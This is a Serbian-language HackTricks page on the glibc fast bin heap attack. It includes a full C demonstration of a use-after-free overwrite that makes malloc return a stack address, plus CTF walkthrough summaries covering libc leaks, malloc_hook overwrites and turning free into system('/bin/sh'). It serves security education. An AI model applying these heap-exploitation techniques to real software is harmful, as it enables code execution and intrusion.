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hacktricks/binary-exploitation/heap/fast-bin-attack.md

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Brza Binarna Napad

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Osnovne Informacije

Za više informacija o tome šta je brza binarna provera posetite ovu stranicu:

{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}

Zbog toga što je brza binarna jednostruko povezana, postoji mnogo manje zaštita nego u drugim binarnim proverama i samo modifikovanje adrese u oslobođenom brzom binu isečka je dovoljno da biste mogli dodeliti kasnije isečak na bilo kojoj memorijskoj adresi.

Kao sažetak:

{% code overflow="wrap" %}

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

{% endcode %}

Možete pronaći potpuni primer u veoma dobro objašnjenom kodu na https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

{% hint style="danger" %} Ako je moguće prebrisati vrednost globalne promenljive global_max_fast velikim brojem, to omogućava generisanje fast binova većih veličina, potencijalno omogućavajući izvođenje napada fast binom u scenarijima gde to ranije nije bilo moguće. {% endhint %}

Primeri

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • Moguće je alocirati delove, osloboditi ih, pročitati njihov sadržaj i popuniti ih (sa ranjivošću prelivanja).
  • Konsolidacija dela za infoleak: Tehnika se uglavnom sastoji u zloupotrebi prelivanja kako bi se napravila lažna prev_size tako da se jedan prethodni deo stavi unutar većeg dela, tako da prilikom alociranja većeg dela koji sadrži još jedan deo, moguće je ispisati njegove podatke i procuriti adresu do libc-a (main_arena+88).
  • Prepisivanje malloc kuke: Za ovo, i zloupotrebljavajući prethodnu situaciju preklapanja, bilo je moguće imati 2 dela koja su pokazivala na istu memoriju. Stoga, oslobađajući ih oboje (oslobađajući još jedan deo između da bi se izbegle zaštite), bilo je moguće imati isti deo u fast binu 2 puta. Zatim, bilo je moguće ponovo ga alocirati, prepisati adresu sledećeg dela da pokazuje malo pre malloc_hook-a (tako da pokazuje na celobrojnu vrednost koju malloc smatra slobodnom veličinom - još jedan zaobilazak), ponovo ga alocirati, a zatim alocirati još jedan deo koji će primiti adresu do malloc kuka.
    Na kraju je jedan alat napisan tamo.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • Postoji prelivanje hipa i korisnik nakon oslobađanja i dvostruko oslobađanje jer kada se deo oslobodi moguće je ponovo koristiti i ponovo osloboditi pokazivače.
  • Libc info leak: Jednostavno oslobodite neke delove i dobićete pokazivač do dela glavne arene. Kako možete ponovo koristiti oslobađene pokazivače, samo pročitajte ovu adresu.
  • Napad fast binom: Svi pokazivači na alokacije čuvaju se unutar niza, tako da možemo osloboditi par fast bin delova i u poslednjem prepisati adresu da pokazuje malo pre ovog niza pokazivača. Zatim, alocirajte par delova iste veličine i prvo ćemo dobiti legitimni deo, a zatim lažni deo koji sadrži niz pokazivača. Sada možemo prepisati ove pokazivače alokacije da pokazuju na adresu got free da bi pokazivali na sistem, a zatim napisati deo 1 "/bin/sh" da bi zatim free(chunk1) koji će izvršiti system("/bin/sh").
  • Možete pronaći napad fast binom zloupotrebljen kroz napad nesortiranim binom.
  • Napomena

{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}

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